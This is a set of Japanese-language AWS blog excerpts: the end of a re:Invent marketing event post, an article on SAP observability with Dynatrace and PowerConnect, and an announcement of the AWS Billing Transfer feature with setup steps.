Pavilion に隣接）で開催します。 Expo Hall と Industries Pavilion The Venetian の Expo Hall にある Industries Pavilion で、最新のAWSソリューション、サービス、パートナーを紹介するインタラクティブなデモを体験し、顧客がクラウドとAI 技術でどのように画期的な変革を達成しているかをご覧ください。 Monday, December 1: 4:00 PM – 7:00 PM (Welcome reception) Tuesday, December 2: 10:00 AM – 6:00 PM Wednesday, December 3: 10:00 AM – 6:00 PM (Happy Hour 4:30 PM – 6:00 PM) Thursday, December 4: 10:00 AM – 4:00 PM まとめ 皆様をラスベガスにお迎えし、広告・マーケティングのイノベーションを解き放つお手伝いができることを楽しみにしています。会場でお会いしましょう！ AWS 広告・マーケティング の詳細については、チームに お問い合わせ いただくか、広告・マーケティングテクノロジー向けの AWS re:Invent 参加者ガイド をダウンロードして、体験の計画にお役立てください。 Gaby Ferreres Gaby Ferreres は AWSの広告・マーケティング、メディア・エンターテインメント、ゲーム業界向けワールドワイドインダストリーズプロダクトマーケティングの責任者であり、顧客に代わってイノベーションを加速するためにテクノロジーリーダーと協力しています。彼女はグローバルマーケティングリーダーであり、顧客ジャーニーを向上させる体験のクリエイターです。AWS 入社前は、Microsoft と Telefonica でさまざまなポジションを務めていました。 Jonathan Harmms Jonathan Harmms は Amazon Web Services (AWS) の広告・マーケティング業界向けプロダクトマーケターです。 本稿の翻訳は、ソリューションアーキテクトの小川翔が担当しました。原文は こちら 。

本記事は、DynatraceおよびSoftwareOne PowerConnectとの共同執筆です。Dynatrace Extension Servicesディレクターの Krzysztof Ziemianowicz 氏、およびSoftwareOne PowerConnectのSAPソリューションアーキテクトである Stephen Bangs 氏の貢献とサポートに感謝いたします。 モダンなSAP環境では、ビジネスプロセスが単一システムの枠を超えて拡張されるにつれ、高度な監視機能が求められています。組織は現在、SAP Cloud ERP、SAP Business Technology Platform（BTP）、AWSサービス、および様々なクラウドソリューションを含む相互接続されたプラットフォームを管理しています。この複雑性には、システム監視に対する新しいアプローチが必要です。 単一システムのメトリクスとリアクティブなアラートのために設計された従来の監視ツールは、今日の統合されたビジネスプロセスの要求を満たすことができません。現代の運用では、最適なパフォーマンスを維持するために、接続されたすべてのシステムにわたる包括的な可視性が必要です。 SoftwareOne PowerConnect for SAP Solutionsは、SAPエコシステム全体にわたる広範なカバレッジを提供することで、これらの課題に対処します。そのオブザーバビリティフレームワークは、 OpenTelemetry 標準を通じて、システム固有の監視を実用的なインテリジェンスに変換し、プロアクティブなパフォーマンス管理とリアルタイムの運用インサイトを可能にします。 PowerConnectの深いSAP専門知識とDynatrace AIを活用したプラットフォームを組み合わせることで、組織は以下を獲得します： 包括的なシステム可視性 プロアクティブな問題検出 自動化された根本原因分析 強化されたビジネス成果 この統合されたアプローチは、エンドツーエンドのプロセス可視性を提供し、組織がSAPランドスケープ全体にわたって中断を防ぎ、運用を最適化するのを支援します。 Dynatrace上のPowerConnect for SAPでSAPの可視性を強化 PowerConnectは、SAP Cloud ERP、SAP BTP、およびSAP SaaSからオブザーバビリティシグナルを取得し、 Dynatrace Grailデータレイクハウス に記録します。これは、組織が AWSオブザーバビリティシグナル のすべてを、 統合分析モデル の下で維持できる場所です – まさにITランドスケープ全体を単一の連続体として見るのと同じです。DynatraceはAWS Agentic AI Marketplaceの一部であり、Dynatraceソリューションは現在、 Amazon Q、Amazon Bedrock、Amazon SageMaker などのAWS AIサービス内でネイティブに構成可能です。このパートナーシップにより、企業はより深いインサイトを引き出し、自信を持ってデジタルトランスフォーメーションを推進できます。 Dynatrace AIを活用したオブザーバビリティプラットフォームは、高度なAI/ML駆動のパターン検出と自動分析を通じて、テレメトリデータを実用的なインテリジェンスに変換します。事前構築されたDynatraceダッシュボードと分析機能は即座に価値を提供し、複雑なSAP環境の直感的な可視化を提供し、パフォーマンスの問題と最適化の機会を迅速に特定します。プラットフォームのエンドツーエンドのAI駆動コンテキストインテリジェンスにより、組織はテクノロジースタック全体にわたってトランザクションを追跡し、依存関係を理解できます。 以下の図は、PowerConnectとDynatraceがAWS上のSAP Cloud ERP Privateとどのように統合されるかを示しています： PowerConnect for SAP solutionsのインストール PowerConnect for SAP solutionsのインストールは、SAP Cloud ERP private内のすべてのSAPシステムでサポートされています（参照： サポート対象製品 ）。組織は以下のようにPowerConnect for SAP solutionsのインストールをリクエストできます： SAP Enterprise Cloud Services（ECS）にリクエストを提出して、PowerConnect ABAPをインストールします — これはSAPS/4HANAをカバーします — また、必要に応じて、SAP Process OrchestrationとSAP BusinessObjectsをカバーするPowerConnect Javaをインストールします。 SAP ECSにリクエストを提出して、SAPの管理アカウント内のプロキシサーバーからDynatraceテナントURLを許可リストに追加します。詳細については、 Dynatraceドキュメント を参照してください。 その後、組織は Dynatrace Hub から PowerConnect for SAP on Dynatrace アプリケーションをインストールできます。Dynatrace Hubは、ユーザーがDynatraceプラットフォームのアプリや拡張機能を含む機能を管理するためのアクセスポイントです。 SAPインスタンス上のPowerConnectセットアップからDynatraceテナントへのデータフローが開始されると、他のアプリケーションオブザーバビリティソースと同様に、Dynatraceダッシュボード、サービス監視、トランザクショントレーシング、およびビジネス分析機能を使用してSAPシグナルを可視化および分析できます。 設定後、組織は一般的なSAPオブザーバビリティのユースケースに対応する既製のダッシュボードを活用できます： バックグラウンドおよびバッチジョブ ABAPダンプとランタイムエラー セキュリティ監査ログとアプリケーションログの分析 ワークプロセス、ロック、および更新リクエスト トランザクショナルRFCおよびキューRFCトランザクション IDocステータス、IDocセグメント、およびアウトバウンド配送モニター 図：DynatraceにおけるSAPビジネスプロセス分析ダッシュボード PowerConnect for SAP on Dynatraceアプリケーション には、すぐに使える200以上の既製ダッシュボードが用意されており、組織は独自のダッシュボードを構築することもできます。 Distributed Tracingアプリは、PowerConnectによって複数のシステムにわたって収集されたSAPトレースを一元化して分析します。Business Flowアプリは、SAPプロセスの実行とビジネスイベントをマッピングして評価します。以下の画像は、ビジネスイベントの分析を示しています： すべてのSAP環境に対応する単一ソリューション 以下の図は、SAP BTP、SAP Integration Suite、SAP SuccessFactors、SAP Ariba、SAP Fieldglassを含むSAPクラウドソリューションの標準統合アーキテクチャを示しています： このアーキテクチャパターンは以下のように実装されます： 組織は、 PowerConnect Cloud スタンドアロンエージェントをホストするためにAWS上にAmazon EC2インスタンスをプロビジョニングします。 このエージェントは、単一のEC2インスタンスにインストールすることも、高可用性を提供するために2つのEC2インスタンスにインストールすることもできます。 PowerConnect CloudコンポーネントをホストするこのAmazon EC2インスタンスは、SAP APIに接続し、Dynatraceに転送されるシグナルを抽出します。 Amazon EC2上のPowerConnect Cloudのインストール手順は、 インストールドキュメント に記載されています。 PowerConnect Cloud専用のEC2インスタンスには、SAP BTPプラットフォーム、SAP SaaSアプリケーション、およびDynatraceテナントへの接続が必要です。 または、PowerConnect CloudインスタンスをCloud Foundryコマンドラインツールを使用してSAP BTP Cloud Foundry環境にインストールすることもできます。 Dynatraceは、SAP CPIメッセージ監視やSAP BTP syslogインサイトなど、ロール指向のダッシュボードで必要なデータを即座に提示できる単一のデータソースを提供します： 図：SAP CPIメッセージ監視とSAP BTP syslogインサイト まとめ AWS上のDynatraceとPowerConnectの統合は、従来の単一システムアプローチを超えた、この現代的なオブザーバビリティフレームワークを提供し、今日の相互接続されたSAPランドスケープに必要な包括的な可視性とAI駆動のインサイトを提供します。AWSのスケーラブルなインフラストラクチャ、AWS Agentic AI Marketplaceを通じたネイティブAIサービス統合、およびシームレスなマーケットプレイスデプロイメントオプションを活用することで、組織はこのソリューションを迅速に実装し、SAP監視機能を変革できます。AWS上のDynatraceとPowerConnectのこの組み合わせは、組織がビジネスクリティカルなプロセスへのリアルタイムインサイトを獲得し、ボトルネックを特定し、ワークフローを最適化し、SAPランドスケープ全体でユーザーエクスペリエンスを向上させることができるため、具体的なビジネス価値を提供します。 Dynatrace Platform および PowerConnect for SAP SolutionsはAWS Marketplaceで利用可能です。Dynatrace、Grail、およびDynatraceロゴは、Dynatrace, Inc.グループ企業の商標です。 本ブログはAmazon Q Developer CLIによる機械翻訳を行い、パートナーSA松本がレビューしました。原文は こちら です。

2025 年 11 月 19 日、Billing Transfer の一般提供についてお知らせします。これは、会社の関連会社や Amazon Web Services (AWS) パートナーなどの他の請求管理者に支払い責任を移管することで、複数の組織にわたって請求書を一元的に管理および支払うための新機能です。この特徴量により、複数の組織にまたがるお客様は、複数の組織にわたる環境全体のクラウドコストを包括的に把握できますが、組織管理者はアカウントに対するセキュリティ管理の自律性を維持できます。 お客様は AWS Organizations を使用すると、マルチアカウント環境の請求を一元的に管理できます。ただし、複数の組織環境で運用している場合、請求管理者は請求書を収集して支払いを行うには、各組織の管理アカウントに個別にアクセスする必要があります。請求管理へのこの分散型アプローチは、複数の AWS 組織にまたがる企業にとってコスト管理と請求書の支払いを無駄に複雑にします。この特徴量は、AWS パートナーが AWS の製品やソリューションを再販し、複数の顧客の消費分を AWS に支払う責任を引き受ける場合にも役立ちます。 Billing Transfer を使用すると、複数の組織環境で事業を行っているお客様は、1 つの管理アカウントを使用して、請求書の収集、支払い処理、詳細なコスト分析などの請求の側面を管理できるようになりました。これにより、請求業務がより効率的かつスケーラブルになり、個々の管理アカウントはアカウントに対する完全なセキュリティとガバナンスの自律性を維持できます。Billing Transfer は、 AWS Billing Conductor と統合することで独自の料金データを保護するのにも役立ちます。これにより、請求管理者はコストの可視性をコントロールできます。 Billing Transfer の使用を開始する Billing Transfer をセットアップするには、外部管理アカウントが請求元アカウントと呼ばれる管理アカウントに Billing Transfer の招待状を送信します。承認されると、外部アカウントが請求転送アカウントになり、招待状で指定された日付から、請求元アカウントの一括請求の管理と支払いを行います。 まず、 [Billing and Cost Management console] (請求とコスト管理コンソール) に移動し、左側のナビゲーションペインで [Preferences and Settings] (設定) を選択して、 [Billing transfer] (請求転送) を選択します。管理アカウントから [Send invitation] (招待を送信) を選択すると、複数の組織環境全体で請求を一元管理できます。 これで、請求を管理したい請求元アカウントの E メールアドレスまたはアカウント ID を入力して、Billing Transfer の招待状を送信できます。請求元アカウントに表示されるコストデータを管理するには、請求と支払いを開始する月次請求期間と、AWS Billing Conductor から料金プランを選択する必要があります。 [Send invitation] (招待を送信) を選択すると、請求元アカウントに [Outbound billing] (アウトバウンド請求) タブに請求転送通知が届きます。 [View details] (詳細を表示) を選択し、招待ページを確認して、 [Accept] (承認) を選択します。 転送が承認されると、請求元アカウントからのすべての使用量が、請求元アカウントでの請求と税金の設定を使用して請求転送先アカウントに請求され、請求書は請求元アカウントに送信されなくなります。どの当事者 (請求元アカウントと請求転送先アカウント) でも、いつでも転送を撤回できます。 請求転送が開始されると、請求転送先アカウントは月末に各請求転送の請求書を受け取ります。&nbsp;請求元アカウントの使用状況を反映した転送済み請求書を表示するには、 [Bills] (請求) ページの [Invoices] (請求書) タブを選択します。 転送された請求書は、請求元アカウント ID で識別できます。請求元アカウントの請求書の支払いは、 [支払い] メニューでも確認できます。これらは請求転送先アカウントにのみ表示されます。 請求転送先アカウントは、請求ビューを使用して、 AWS Cost Explorer 、 AWS のコストと使用状況レポート 、 AWS Budgets と請求ページの請求元アカウントのコストデータにアクセスできます。請求ビューモードを有効にすると、請求元アカウントごとに希望する請求ビューを選択できます。 請求元アカウントには次の変更が適用されます: 過去のコストデータは利用できなくなるため、承認する前にダウンロードする必要 コストと使用状況レポートは転送後に再設定する必要があります 請求転送先アカウントに振り込まれる請求書には、常にお届け先のアカウントの税金と支払いの設定が使用されます。そのため、請求元アカウントとその AWS Organizations のメンバーアカウントの使用状況を反映したすべての請求書には、請求転送先アカウントで決定された税金設定に基づいて計算された税金 (該当する場合) が記載されます。 同様に、記録上の販売者と支払い設定も、請求転送先アカウントで決定された設定に基づいています。請求書設定機能で使用できる請求書単位を作成することで、税金と支払いの設定をカスタマイズできます。 詳細については、AWS ドキュメントの「 Billing Transfer 」をご覧ください。 今すぐご利用いただけます Billing Transfer は現在、すべての商用 AWS リージョンでご利用いただけます。詳細については、「 AWS クラウド財務管理サービスの製品ページ 」をご覧ください。 今すぐ Billing Transfer を試してみて、 AWS Billing に関する AWS re:Post にフィードバックを送るか、通常の AWS サポートの連絡先を通じてフィードバックを送ってください。 – Channy 原文は こちら です。